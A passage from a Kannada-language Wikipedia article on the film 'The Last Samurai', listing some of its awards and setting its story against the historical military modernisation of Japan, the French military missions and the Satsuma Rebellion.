ಪ್ರಶಸ್ತಿ, ವಿಷುಯಲ್‌ ಎಫೆಕ್ಟ್ಸ್‌ ಸೊಸೈಟಿ ಪ್ರಶಸ್ತಿಗಳ ಸಮಾರಂಭದಲ್ಲಿ ನೀಡಲಾದ ಮಹೋನ್ನತ ನಿರ್ವಹಣೆಯ ಪೋಷಕ ದೃಷ್ಟಿಗೋಚರ ಪರಿಣಾಮಗಳ ಪ್ರಶಸ್ತಿ, ಜಪಾನ್‌ ಅಕಾಡೆಮಿ ಪ್ರೈಜ್‌ ವತಿಯಿಂದ ನೀಡಲಾದ ಮಹೋನ್ನತ ನಿರ್ವಹಣೆಯ ವಿದೇಶಿ ಭಾಷೆ ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿ, ನಾಲ್ಕು ಗೋಲ್ಡನ್‌ ಸೆಟಲೈಟ್‌ ಪ್ರಶಸ್ತಿಗಳು, ಹಾಗೂ ಟಾರಸ್‌ ವರ್ಲ್ಡ್‌‌ ಸ್ಟಂಟ್‌ ಪ್ರಶಸ್ತಿಗಳ ವತಿಯಿಂದ ನೀಡಲಾದ ಅತ್ಯುತ್ತಮ ಬೆಂಕಿಯ ಸಾಹಸ ಪ್ರಶಸ್ತಿ.<ref>[http://www.imdb.com/title/tt0325710/awards ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌ಗೆ ಸಂಬಂಧಿಸಿದ ಪ್ರಶಸ್ತಿಗಳು(2003)], IMDb</ref> ==ಐತಿಹಾಸಿಕ ಹಿನ್ನೆಲೆ== ''ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌'' ಚಿತ್ರವು ನಿಜವಾದ ಆದರೆ ಅಸಂಗತವಾದ ಸಮಯದಲ್ಲಿ ಸಾಕಷ್ಟು ದೂರವಾಗಿರುವ ಐತಿಹಾಸಿಕ ಸನ್ನಿವೇಶಗಳನ್ನು, ಒಂದು ಏಕ ನಿರೂಪಣೆಯಾಗಿ ಸಂಯೋಜಿಸುತ್ತದೆ. ಈ ಚಿತ್ರದಲ್ಲಿ ಆ ಕಾಲದ ಪ್ರಮುಖ ಪಾಶ್ಚಾತ್ಯ ನಟರು (ವಿಶೇಷವಾಗಿ ಫ್ರೆಂಚ್‌ ನಟರು) ಅಮೆರಿಕಾದ ನಟರಿಂದ ಪಲ್ಲಟಗೊಳಿಸಲ್ಪಟ್ಟಿರುವುದು ವಿಶೇಷ. ಅಂತಿಮವಾಗಿ, ಇದು ಪ್ರಾಚೀನ ಮತ್ತು ಆಧುನಿಕ ಹೋರಾಡುವ ವಿಧಾನಗಳ ನಡುವಿನ ಒಂದು ಆಮೂಲಾಗ್ರ ತಿಕ್ಕಾಟವನ್ನು ಚಿತ್ರಿಸುತ್ತದೆಯಾದರೂ, ವಾಸ್ತವದಲ್ಲಿ ತಿಕ್ಕಾಟದ ಎಲ್ಲಾ ಪಾರ್ಶ್ವಗಳೂ (ಸತ್ಸುಮಾ ದಂಗೆ, ಮತ್ತು ಅದಕ್ಕೂ ಮುಂಚಿತವಾಗಿ ಬೊಷಿನ್‌ ಯುದ್ಧ) ಆಧುನಿಕ ಉಪಕರಣಗಳನ್ನು ಬಗೆಬಗೆಯ ಮಟ್ಟಗಳವರೆಗೆ ಅಳವಡಿಸಿಕೊಂಡಿದ್ದವು. ವಾಸ್ತವವಾಗಿ, ಫಿರಂಗಿ-ಬಂದೂಕುಗಳು ಸಾಕಷ್ಟು ಶತಮಾನಗಳಷ್ಟು ಮುಂಚೆಯೇ ಜಪಾನ್‌ನಲ್ಲಿ ಬಳಕೆಯಲ್ಲಿದ್ದವು ಮತ್ತು ಟೋಕುಗವಾ ಷೋಗನ್‌ಗಿರಿಯನ್ನು ಸೃಷ್ಟಿಸಿದ ನಾಗರಿಕ ಯುದ್ಧಗಳಲ್ಲಿ ಅವು ಒಂದು ಪ್ರಮುಖ ಪಾತ್ರವನ್ನು ವಹಿಸಿದ್ದವು; ಆದರೆ ಅಗೌರವ ಉಂಟುಮಾಡುವಂಥವು ಎಂದು ಪರಿಗಣಿಸಿ ಅವನ್ನು ನಂತರದಲ್ಲಿ ತಿರಸ್ಕರಿಸಲಾಯಿತು ಮತ್ತು ೧೯ನೇ ಶತಮಾನದ ಆರಂಭದ ಹೊತ್ತಿಗೆ ಬಂದೂಕುಗಾರರ ಕಲೆಯು ಬಳಕೆ ತಪ್ಪಿದ ಸ್ಥಿತಿಗೆ ಕುಸಿದವು. ಈ ಚಲನಚಿತ್ರದ ಅನೇಕ ವಿಷಯಾಧಾರಿತ, ಮತ್ತು ದೃಶ್ಯರೂಪದ ಅಂಶಗಳು ಅಕಿರಾ ಕುರೊಸಾವಾನ ಚಲನಚಿತ್ರಗಳಿಗೆ, ಅದರಲ್ಲೂ ನಿರ್ದಿಷ್ಟವಾಗಿ ''ಸೆವೆನ್‌‌ ಸಮುರಾಯ್‌‌'' ಚಿತ್ರಕ್ಕೆ ಸಮಾನಾಂತರವಾಗಿ ನಿಲ್ಲುತ್ತವೆ. ===ಸೇನೆಯ ಆಧುನೀಕರಣ ಮತ್ತು ಪಾಶ್ಚಾತ್ಯರ ತೊಡಗಿಸಿಕೊಳ್ಳುವಿಕೆ=== [[File:Franco-JapaneseInfantryTraining.jpg|thumb|350px|ಜಪಾನ್‌ಗೆ ಬಂದ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗವು ಷೋಗನ್‌ಗಿರಿ ಪಡೆಗಳಿಗೆ ತರಬೇತು ನೀಡುತ್ತಿರುವುದು. 1867ರ ಛಾಯಾಚಿತ್ರ.]] [[File:French Military Advisors Jules Brunet and Japanese Allies Boshin War 1868-1869.png|thumb|ಬೊಷಿನ್‌ ಯುದ್ಧದ (1868-1869) ಅವಧಿಯಲ್ಲಿ ಹೊಕ್ಕಾಯ್ಡೊನಲ್ಲಿನ ಫ್ರೆಂಚ್‌ ಸೇನಾ ಸಲಹೆಗಾರರು ಮತ್ತು ಅವರ ಜಪಾನೀ ಮಿತ್ರರು.ಮುಂದಿನ ಸಾಲು, ಎಡದಿಂದ ಎರಡನೆಯವ: ಜೂಲ್ಸ್‌ ಬ್ರೂನೆಟ್‌‌, ಜೊತೆಗಿರುವುದು ಎಜೊ ಗಣರಾಜ್ಯದ ಉಪಾಧ್ಯಕ್ಷನಾದ ಮಾಟ್ಸುಡೈರಾ ಟಾರೊ.]] ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌ನಲ್ಲಿ ವಿವರಿಸಲ್ಪಟ್ಟಿರುವ ಸೇನಾ ಆಧುನೀಕರಣದ ಬಗೆಯು, ಹತ್ತು ವರ್ಷಗಳಷ್ಟು ಮುಂಚಿತವಾಗಿ ೧೮೬೮ರಲ್ಲಿ ಬೊಷಿನ್‌ ಯುದ್ಧದ ವೇಳೆಗಾಗಲೇ ಬಹುಪಾಲು ಸಾಧಿಸಲ್ಪಟ್ಟಿತ್ತು. ಆ ಸಮಯದಲ್ಲಿ, ಷೋಗನ್‌‌‌‌‌ಗೆ ಅನುಕೂಲಕರವಾಗಿರುವ ಪಡೆಗಳು, ಜಪಾನ್‌ಗೆ ಭೇಟಿ ನೀಡಿದ ಫ್ರೆಂಚ್‌ ಸೇನೆ ನಿಯೋಗದಿಂದ (೧೮೬೭) ಆಧುನೀಕರಿಸಲ್ಪಟ್ಟವು ಮತ್ತು ತರಬೇತು ನೀಡಲ್ಪಟ್ಟವು, ಮತ್ತು ಆವಿಯ ಸಮರನೌಕೆಗಳ ಒಂದು ಆಧುನಿಕ ವ್ಯೂಹವು ಅಷ್ಟು ಹೊತ್ತಿಗಾಗಲೇ ರೂಪಿಸಲ್ಪಟ್ಟಿತ್ತು (ಎಂಟು ಆವಿ ಸಮರನೌಕೆಗಳಾದ, ''ಕೈಟೆನ್‌‌'' , ''ಬನ್ರಿಯೂ'' , ''ಚಿಯೋಡಗಾಟಾ'' , ''ಚೋಗೆಯ್‌'' , ''ಕೈಯೋ ಮಾರು'' , ''ಕನ್ರಿನ್‌ ಮಾರು'' , ''ಮಿಕಾಹೊ'' ಮತ್ತು ''ಷಿನ್‌ಸೊಕು'' ಇವು ೧೮೬೮ರಲ್ಲಿನ ಬಕುಫು ನೌಕಾಪಡೆಯ ಮುಖ್ಯಭಾಗವಾಗಿ ರೂಪಿಸಲ್ಪಟ್ಟವು). ಸತ್ಸುಮಾ ಮತ್ತು ಚೋಷೂದ ಪಾಶ್ಚಾತ್ಯ ಕ್ಷೇತ್ರಗಳೂ ಸಹ ಅತೀವವಾಗಿ ಆಧುನೀಕರಿಸಲ್ಪಟ್ಟು, [[ಬ್ರಿಟೀಷ್ ಸಾಮ್ರಾಜ್ಯ|ಬ್ರಿಟಿಷ್‌]] ಹಿತಾಸಕ್ತಿಗಳು ಮತ್ತು ಪರಿಣತಿಯಿಂದ ಬೆಂಬಲಿಸಲ್ಪಟ್ಟಿದ್ದವು. ಜಪಾನ್‌ನಲ್ಲಿ ಗೊಂಚಲುಕೋವಿ ಫಿರಂಗಿಗಳು ಕಾಣಿಸಿಕೊಂಡಿದ್ದೂ ಸಹ ಆ ಕಾಲಕ್ಕೇ ನಮ್ಮನ್ನು ಕರೆದೊಯ್ಯುತ್ತದೆ (ಗೊಂಚಲುಕೋವಿ ಫಿರಂಗಿಗಳು ೧೮೬೧ರಲ್ಲಿ ಆವಿಷ್ಕರಿಸಲ್ಪಟ್ಟವು, ಮತ್ತು ೧೮೬೮-೧೮೬೯ರ ಬೊಷಿನ್‌ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ ಎರಡೂ ಕಡೆಯ ಪಡೆಗಳಿಂದ ಅವು ನಿಯೋಜಿಸಲ್ಪಟ್ಟವು, ಮತ್ತು ಹೊಕುಯೆಟ್ಸುವಿನ ಕದನ ಮತ್ತು ಮಿಯಾಕೊವಿನ ನೌಕಾ ಕದನಗಳಲ್ಲಿಯೂ ಇವು ಬಳಕೆಯಾದವು). ಮೆಯಿಜಿ ಚಕ್ರವರ್ತಿಯ ಪ್ರತಿಷ್ಠಾಪನೆಗೆ ಅನೇಕ ವರ್ಷಗಳಷ್ಟು ಮುಂಚಿತವಾಗಿ, ಬಕುಮಟ್ಸು ಅವಧಿಯ ಸಮಯದಲ್ಲಾಗಲೇ ಒಂದು ಕ್ಷಿಪ್ರವಾದ ಗತಿಯಲ್ಲಿ ಆಧುನೀಕರಣವು ಪ್ರಗತಿ ಸಾಧಿಸಿತ್ತು. ಜಪಾನ್‌ ದೇಶವನ್ನು ೧೮೫೪ರಲ್ಲಿ ವಿದೇಶಿ ಸಂಪರ್ಕಗಳಿಗೆ ಮುಕ್ತವಾಗಿಸಿದ ಕೀರ್ತಿಯು ಕಮೊಡೊರ್‌ ಪೆರ್ರಿ ಎಂಬಾತನಿಗೆ ದಕ್ಕಿದೆಯಾದರೂ, ಅದಾದ ನಂತರದಲ್ಲಿ ಅಮೆರಿಕಾದ ತೊಡಗಿಸಿಕೊಳ್ಳುವಿಕೆಯು ಕನಿಷ್ಟತಮವಾಗಿತ್ತು. ಮುಖ್ಯವಾಗಿ ವ್ಯಾಪಾರೀ ಸ್ವರೂಪದಲ್ಲಿದ್ದ ಗಾಢವಾದ ಪರಸ್ಪರ ಸಂವಹನೆಯು, ಹ್ಯಾರಿಸ್‌‌ ಒಡಂಬಡಿಕೆಯೊಂದಿಗೆ ೧೮೫೯ರಿಂದಷ್ಟೇ ಪ್ರಾರಂಭವಾಯಿತು, ಮತ್ತು [[ಅಮೇರಿಕಾದ ಅಂತಃಕಲಹ|ಅಮೆರಿಕಾದ ನಾಗರಿಕ ಯುದ್ಧ]]ದ (೧೮೬೧–೧೮೬೫) ಬೇಡಿಕೆಗಳ ಕಾರಣದಿಂದಾಗಿ ೧೮೬೧ರಿಂದ ಅಮೆರಿಕಾದ ಪ್ರಭಾವವು ಕ್ಷಯಿಸಿತು. ೧೮೬೮ರ ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯವರೆಗೆ ಜಪಾನ್‌ನ ಆಧುನೀಕರಣದಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿದ್ದ ಪ್ರಮುಖ ಅಧಿಕಾರ-ಶಕ್ತಿಗಳಲ್ಲಿ ಇವು ಸೇರಿದ್ದವು: [[ನೆದರ್‍ಲ್ಯಾಂಡ್ಸ್|ನೆದರ್ಲೆಂಡ್ಸ್‌]] (ನಾಗಸಾಕಿ ನೌಕಾ ತರಬೇತಿ ಕೇಂದ್ರದೊಂದಿಗೆ ಒಂದು ಆಧುನಿಕ ನೌಕಾಪಡೆಯ ಚಾಲನೆ ಮತ್ತು ''ಕಾನ್‌ಕೋ ಮಾರು'' ಹಾಗೂ ''ಕನ್ರಿನ್‌ ಮಾರು'' ನಂಥ ಜಪಾನ್‌ನ ಮೊದಲ ಆಧುನಿಕ ಹಡಗುಗಳ ಪೂರೈಕೆ), ಫ್ರಾನ್ಸ್‌‌‌ (೧೮೬೭ರ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗವಾದ ಲಿಯೋನ್ಸ್‌ ವೆರ್ನಿಯಿಂದ ಯೋಕೊಸುಕಾ ಶಸ್ತ್ರಾಗಾರದ ನಿರ್ಮಾಣ), ಮತ್ತು ಗ್ರೇಟ್‌ ಬ್ರಿಟನ್‌ (ವೈವಿಧ್ಯಮಯ ತಾಣಗಳಿಗೆ ಆಧುನಿಕ ಉಪಕರಣಗಳ, ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಹಡಗುಗಳ ಪೂರೈಕೆ, ಮತ್ತು ಟ್ರೇಸಿ ನಿಯೋಗದೊಂದಿಗೆ ನೌಕಾಪಡೆಗೆ ತರಬೇತು ನೀಡುವಿಕೆ). ===ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆ=== [[File:MikadoWithFrenchMission.jpg|thumb|1872ರಲ್ಲಿ ಜಪಾನ್‌ಗೆ ಭೇಟಿನೀಡಿದ ಎರಡನೇ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗವನ್ನು ಮೆಯಿಜಿ ಚಕ್ರವರ್ತಿಯು ಸ್ವಾಗತಿಸಿದ ವೈಖರಿ .]] ೧೮೬೮ರಲ್ಲಿ ನಡೆದ ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯನ್ನು ಅನುಸರಿಸಿ, ಜಪಾನ್‌ಗೆ ಬಂದ ಎರಡನೇ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗದ (೧೮೭೨-೧೮೮೦) ಮೂಲಕ, ಮತ್ತೊಮ್ಮೆ ಫ್ರೆಂಚ್‌ ಸಲಹೆಗಾರರ ನೆರವಿನೊಂದಿಗೆ ಮುಂಚಿನ ಚಕ್ರಾಧಿಪತ್ಯದ ಜಪಾನಿಯರ ಸೇನೆಯು ಅತ್ಯಾವಶ್ಯಕವಾಗಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲ್ಪಟ್ಟಿತು. ಹಿಂದಿನ ಸಮುರಾಯ್‌‌ ವರ್ಗವನ್ನು ಪಲ್ಲಟಗೊಳಿಸಿದ್ದ ಬಹುಪಾಲು ರೈತರನ್ನು ಒಳಗೊಂಡಿದ್ದ, ಒತ್ತಾಯದ ದಾಖಲಾತಿಗಳ ಒಂದು ಸೇನೆಯು, ೧೮೭೩ರ ಮಾರ್ಚ್‌ನಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ಫ್ರೆಂಚ್‌ ನೆರವಿನೊಂದಿಗೆ ನೆಲೆಗೊಳಿಸಲ್ಪಟ್ಟಿತು. ಈ ಪಡೆಗಳು ಮತ್ತಷ್ಟು ಆಧುನೀಕರಿಸಲ್ಪಟ್ಟವು ಮತ್ತು ಫ್ರೆಂಚರಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿದ್ದ ಸೇನಾ ಅಕಾಡೆಮಿಗಳಲ್ಲಿ ಅವುಗಳ ಅಧಿಕಾರಿಗಳು ತರಬೇತಿ ಪಡೆದರು, ಮತ್ತು ೧೮೭೭ರಲ್ಲಿ ನಡೆದ ಸತ್ಸುಮಾ ದಂಗೆಯಲ್ಲಿ ಹಿಂದಿನ ಸಮುರಾಯ್‌ಗಳ ವಿರುದ್ಧ ಅವರು ಮಧ್ಯಪ್ರವೇಶ ಮಾಡಿದರು. ಬೀದಿಗಳಲ್ಲಿ ಕತ್ತಿಗಳು ಮತ್ತು ಬಂದೂಕುಗಳನ್ನು ಒಯ್ಯುವುದನ್ನು, ೧೮೭೬ರಲ್ಲಿ ಬಂದ ಹೈಟೋರೀ ರಾಜಶಾಸನವು ನಿಷೇಧಿಸಿತು. ===ಸತ್ಸುಮಾ ದಂಗೆ=== [[File:SaigoWithOfficers.jpg|thumb|ಸಮುರಾಯ್‌‌ ದಿರಿಸಿನಲ್ಲಿರುವ ತನ್ನ ಅಧಿಕಾರಿಗಳಿಂದ ಸುತ್ತುವರೆಯಲ್ಪಟ್ಟಿರುವ ಸೈಗೋ ಟಾಕಾಮೊರಿ (ಪಾಶ್ಚಾತ್ಯ ಸಮವಸ್ತ್ರದಲ್ಲಿ ಕುಳಿತಿರುವವ).1877ರ ಲೆ ಮಾಂಡೆ ಇಲಸ್ಟ್ರೆಯಲ್ಲಿನ ಸುದ್ದಿಲೇಖನ.]] [[File:ShiroyamaBattle.jpg|thumb|ಶಿರೋಯಾಮಾ ಕದನದ ನಿರ್ಣಾಯಕ ನಿಲುವಿನಲ್ಲಿ ಎರಡೂ ಕಡೆಯವರು ಬಂದೂಕುಗಳನ್ನು ಬಳಸಿದರು.]] ''ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌‌'' ನಲ್ಲಿ ವಿವರಿಸಲ್ಪಟ್ಟಿರುವ ಐತಿಹಾಸಿಕ ಘಟನೆಯಾದ ಸತ್ಸುಮಾ ದಂಗೆಯು, ಚಲನಚಿತ್ರದಲ್ಲಿ ತೋರಿಸಿರುವುದಕ್ಕಿಂತಲೂ ಇನ್ನೂ ಹೆಚ್ಚು ಏಕಪಕ್ಷೀಯವಾಗಿತ್ತು; ಆದರೂ ಪ್ರತಿಯೊಂದು ಸೇನಾಪಕ್ಷದಲ್ಲೂ ಅಳವಡಿಸಿಕೊಳ್ಳಲಾಗಿದ್ದ ಸೇನಾ ಕೌಶಲಗಳ ನಡುವೆ ಅಂಥಾ ದೊಡ್ಡ ವ್ಯತ್ಯಾಸವೇನೂ ಇರಲಿಲ್ಲ. ಬೊಷಿನ್‌ ಯುದ್ಧವಾದ ಹತ್ತು ವರ್ಷಗಳ ನಂತರ, ಮತ್ತು ಚಕ್ರಾಧಿಪತ್ಯದ ಜಪಾನಿ ಸೇನೆಯ ಸ್ಥಾಪನೆಯಾದ ಹತ್ತು ವರ್ಷಗಳ ನಂತರ ೧೮೭೭ರಲ್ಲಿ ಇದು ನಡೆಯಿತು. ಕವಾಮುರಾ ಸುಮಿಯೋಷಿ ಅಡಿಯಲ್ಲಿ ೩೦೦,೦೦೦ ಯೋಧರನ್ನು ಒಳಗೊಂಡಿದ್ದ ಒಂದು ಬೃಹತ್‌‌ ಪಡೆಯನ್ನು ಸೈಗೋ ಟಕಾಮೊರಿಯೊಂದಿಗೆ ಹೋರಾಡಲು ಕ್ಯೂಷು ದ್ವೀಪಕ್ಕೆ ಚಕ್ರಾಧಿಪತ್ಯದ ಸೇನಾವಿಭಾಗಗಳು ಕಳಿಸಿದವು; ಈ ಪಡೆಗಳು ಯುದ್ಧದ ಎಲ್ಲಾ ಮಗ್ಗುಲುಗಳಲ್ಲೂ ಆಧುನಿಕವಾಗಿದ್ದು ಹಾವಿಟ್ಸರ್‌‌ ತುಪಾಕಿಗಳು ಮತ್ತು ವೀಕ್ಷಣೆಗಳ ಬಲೂನುಗಳನ್ನು ಅವು ಬಳಸಿದವು. ಒಟ್ಟು ಸಂಖ್ಯೆಯಲ್ಲಿ ಸುಮಾರು ೪೦,೦೦೦ದಷ್ಟಿದ್ದ ಸೈಗೋ ಟಕಾಮೊರಿಯ ಬಂಡಾಯಗಾರರು, ಶಿರೋಯಾಮಾದ ಕದನದಲ್ಲಿನ ಅಂತಿಮ ನಿಲುವಿನ ಹೊತ್ತಿಗೆ ಸುಮಾರು ೪೦೦ರಷ್ಟಕ್ಕೆ ಕುಗ್ಗಿಹೋಗಿದ್ದರು. ಸಮುರಾಯ್ ಜಾತಿಯ ಸಂರಕ್ಷಣೆಗಾಗಿ ಅವರು ಹೋರಾಡಿದರಾದರೂ, ಮತ್ತು ಅಧಿಕಾರಿಗಳು ಹೆಚ್ಚಿನಂಶ ಸಮುರಾಯ್‌‌ ವಕ್ಷಗವಚಗಳನ್ನು ಧರಿಸಿದ್ದರಾದರೂ, ಪಾಶ್ಚಾತ್ಯ ಸೇನಾ ವಿಧಾನಗಳನ್ನು ಅವರು ಉಪೇಕ್ಷಿಸಲಿಲ್ಲ: ಬಂದೂಕುಗಳು ಮತ್ತು ಫಿರಂಗಿಗಳನ್ನು ಅವರು ಬಳಸಿದರು, ಮತ್ತು ಸೈಗೋ ಟಕಾಮೊರಿಯು ಓರ್ವ ಪಾಶ್ಚಾತ್ಯ ದಂಡನಾಯಕನ ಸಮವಸ್ತ್ರವನ್ನು ಧರಿಸಿರುವಂತೆ, ಸೈಗೋ ಟಕಾಮೊರಿಯ ಎಲ್ಲಾ ಸಮಕಾಲೀನ ಚಿತ್ರಣಗಳೂ ಅವನನ್ನು ಚಿತ್ರಿಸಿವೆ. ತಿಕ್ಕಾಟದ ಅಂತ್ಯದ ವೇಳೆಗೆ ಶಸ್ತ್ರಾಸ್ತ್ರಗಳು ಮತ್ತು ಯುದ್ಧಸಾಮಗ್ರಿಯ ಕೊರತೆ ಕಂಡುಬಂದಿದ್ದರಿಂದಾಗಿ, ಅತಿ ಸಾಮೀಪ್ಯದ ಯುದ್ಧತಂತ್ರಗಳಿಗೆ ಅವರು ಮರಳಬೇಕಾಯಿತು ಮತ್ತು ಕತ್ತಿಗಳು, ಬಿಲ್ಲುಗಳು ಹಾಗೂ ಬಾಣಗಳನ್ನು ಬಳಸಬೇಕಾಗಿಬಂತು. ಚಲನಚಿತ್ರಕ್ಕೆ ಹೋಲಿಕೆಯಾಗಿರುವ ಒಂದು ರೂಪದಲ್ಲಿ, ಸರ್ಕಾರದ ಒಂದು ಹೆಚ್ಚು ಕಾರ್ಯಸಾಧ್ಯ-ಸದ್ಗುಣಿ ಸ್ವರೂಪವೊಂದಕ್ಕಾಗಿಯೂ ಅವರು ಹೋರಾಡಿದರು ("新政厚徳" ಎಂಬುದು ಅವರ ಘೋಷಣೆಯಾಗಿತ್ತು, ಅಂದರೆ "ಹೊಸ ಸರ್ಕಾರ, ಉನ್ನತ ನೈತಿಕತೆ" ಎಂಬುದು ಇದರರ್ಥವಾಗಿತ್ತು). ಬೊಷಿನ್‌ ಯುದ್ಧಕ್ಕೆ ತದ್ವಿರುದ್ಧವಾಗಿ, ಸತ್ಸುಮಾ ದಂಗೆಯ ಯಾವುದೇ ಪಕ್ಷದಲ್ಲಿ ಹೋರಾಟ ಮಾಡಿರುವಂತೆ ಪಾಶ್ಚಾತ್ಯರು ದಾಖಲಿಸಲ್ಪಟ್ಟಿಲ್ಲ. ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ಸತ್ಸುಮಾ ದಂಗೆಯ ಅವಧಿಯಲ್ಲಿ ವಿದೇಶಿ ಯೋಧರೊಂದಿಗೆ ಜೊತೆ-ಜೊತೆಯಾಗಿ ಸೈಗೋ ಟಕಾಮೊರಿಯು ಹೋರಾಡಲಿಲ್ಲ. ಬೊಷಿನ್‌ ಯುದ್ಧದ ಸಂದರ್ಭದಲ್ಲಿ, ಬ್ರಿಟಿಷ್‌ ಮತ್ತು ಅಮೆರಿಕಾದ ಸೇನಾ ಸಲಹೆಗಾರಿಂದ<ref>ಇದು IIIನೇ ನೆಪೋಲಿಯನ್‌‌ಗೆ ಬರೆದ ಪತ್ರದಲ್ಲಿ ಜೂಲ್ಸ್‌ ಬ್ರೂನೆಟ್‌‌ ಮಾಡಿದ ಸಮರ್ಥನೆ: "ಫ್ರೆಂಚ್‌ ಹಿತಾಸಕ್ತಿಗಳಿಗೆ ಪ್ರತಿಕೂಲವಾಗಿರುವ [ದಕ್ಷಿಣದ ಡೈಮಿಯೋಸ್‌ನ] ಈ ಸಂತೋಷಕೂಟದಲ್ಲಿ, ನಿವೃತ್ತರಾಗಿರುವ ಅಥವಾ ರಜೆಯ ಮೇಲಿರುವ ಹಲವಾರು ಅಮೆರಿಕಾದ ಮತ್ತು ಬ್ರಿಟಿಷ್‌ ಅಧಿಕಾರಿಗಳು ಹಾಜರಿರುವುದರ ಕುರಿತು ಚಕ್ರವರ್ತಿಗೆ ನಾನು ಸೂಚನೆ ನೀಡಬೇಕು. ನಮ್ಮ ಶತ್ರುಗಳ ನಡುವೆ ಪಾಶ್ಚಾತ್ಯ ಮುಖ್ಯಸ್ಥ ಅಧಿಕಾರಿಗಳ ಹಾಜರಿಯು, ಒಂದು ರಾಜಕೀಯ ದೃಷ್ಟಿಕೋನದಿಂದ ನನ್ನ ಯಶಸ್ಸನ್ನು ಅಪಾಯಕ್ಕೆ ಸಿಕ್ಕಿಸಬಹುದು, ಆದರೆ ಮಹಾಪ್ರಭುವಿನ ಗಮನಕ್ಕೆ ಮಾಹಿತಿಯನ್ನು ತಲುಪಿಸುವುದರಿಂದ ನನ್ನನ್ನು ಯಾರೂ ತಡೆಯಲಾರರು; ಯಾವುದೇ ಸಂದೇಹಕ್ಕೆ ಎಡೆಯಿಲ್ಲದೆ ಅವರು ಕುತೂಹಲಕರವಾಗಿ ಕಂಡುಬರುತ್ತಾರೆ." "ಸೋಲಿ ಎಟ್‌ ಲ್ಯೂಮಿಯೇರ್‌‌"ನಲ್ಲಿ ಪುಟ ೮೧ (ಫ್ರೆಂಚ್‌)</ref> ಸೈಗೋ ಬೆಂಬಲವನ್ನು ಪಡೆಯಬಹುದಾಗಿತ್ತು; ಆದರೆ ಜಪಾನಿಯರ ಒಂದು ಉದ್ದೇಶಕ್ಕಾಗಿ ವಾಸ್ತವವಾಗಿ ಹೋರಾಡುತ್ತಿದ್ದ ಏಕೈಕ ದಾಖಲಿತ ನಿದರ್ಶನವು ಎನೊಮೊಟೊ ಟಕೆಯಾಕಿಯನ್ನು ಬೆಂಬಲಿಸುತ್ತಿದ್ದ ಫ್ರೆಂಚ್‌ ಯೋಧರ ಕುರಿತದ್ದಾಗಿತ್ತು. ಸೈಗೋ ಟಾಕಾಮೊರಿಯ ಮೇಲೆ ಕಾಟ್ಸುಮೊಟೊ ಪಾತ್ರವು ಆಧರಿಸಿದೆಯಾದರೂ, ಚಲನಚಿತ್ರದಲ್ಲಿನ ಕೊನೆಯ ಕದನವು ಅವನ ಕೊನೆಯ ನಿಲುವನ್ನು ಆಧರಿಸದೆ ಮತ್ತೊಂದು ಕದನವನ್ನು ಆಧರಿಸಿದೆ; ಹೆಚ್ಚೂಕಮ್ಮಿ ಅದೇ ವೇಳೆಗೆ ನಡೆದ ಸದರಿ ಮತ್ತೊಂದು ಕದನದಲ್ಲಿ, ಯಾವುದೇ ಫಿರಂಗಿ-ಬಂದೂಕುಗಳು ಅಥವಾ ಪಾಶ್ಚಾತ್ಯ ಶಸ್ತ್ರಾಸ್ತ್ರಗಳನ್ನು ಹೊಂದಿರದ ಚಕ್ರಾಧಿಪತ್ಯದ ಹೊಸ ಸೇನೆಯ ಮೇಲೆ ಅಸಂತುಷ್ಟ ಆಶ್ರಿತರ ಒಂದು ಗುಂಪು ದಾಳಿಮಾಡಿರುತ್ತದೆ.{{Citation needed|date=July 2008|reason=this final paragraph states that the rest of the section is wrong}} ===ಮತ್ತಷ್ಟು ವಿದೇಶಿ ನೆರವು=== ಜಪಾನ್‌ಗೆ ಮೂರನೇ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗವನ್ನು (೧೮೮೪-೧೮೮೯) ನಂತರದಲ್ಲಿ ಕಳಿಸಲಾಯಿತು. ಆದಾಗ್ಯೂ, ಫ್ರಾಂಕೋ-ಪ್ರಷ್ಯನ್‌‌ ಯುದ್ಧದಲ್ಲಿ [[ಜರ್ಮನಿ|ಜರ್ಮನ್‌‌]] ವಿಜಯವು ದಾಖಲಿಸಲ್ಪಟ್ಟ ಕಾರಣದಿಂದಾಗಿ, ತಮ್ಮ ಸೇನೆಗೆ ಒಂದು ಮಾದರಿಯಾಗಿ ಪ್ರಷ್ಯಾದ ಮೇಲೆಯೂ ಜಪಾನಿ ಸರ್ಕಾರವು ವಿಶ್ವಾಸವನ್ನಿಟ್ಟಿತು, ಮತ್ತು ೧೮೮೬ರಿಂದ ೧೮೮೯ರವರೆಗೆ ಜಪಾನಿಯರ ಸಾಮಾನ್ಯ ಸಿಬ್ಬಂದಿಗೆ ತರಬೇತು ನೀಡುವ ದೃಷ್ಟಿಯಿಂದ, ಇಬ್ಬರು ಜರ್ಮನ್‌‌ ಸೇನಾ ಸಲಹೆಗಾರರನ್ನು (ಮೇಜರ್‌‌ ಜಾಕೋಬ್‌ ಮೆಕೆಲ್‌‌ ಮತ್ತು ಕ್ಯಾಪ್ಟನ್‌ ವಾನ್‌ ಬ್ಲಾಕೆನ್‌ಬೋರ್ಗ್‌) ಅದು ಎರವಲು ಸೇವೆಗೆ ನೇಮಿಸಿಕೊಂಡಿತು. ಇತರ ಚಿರಪರಿಚಿತ ವಿದೇಶಿ ಸೇನಾ-ಸಮಾಲೋಚಕರ 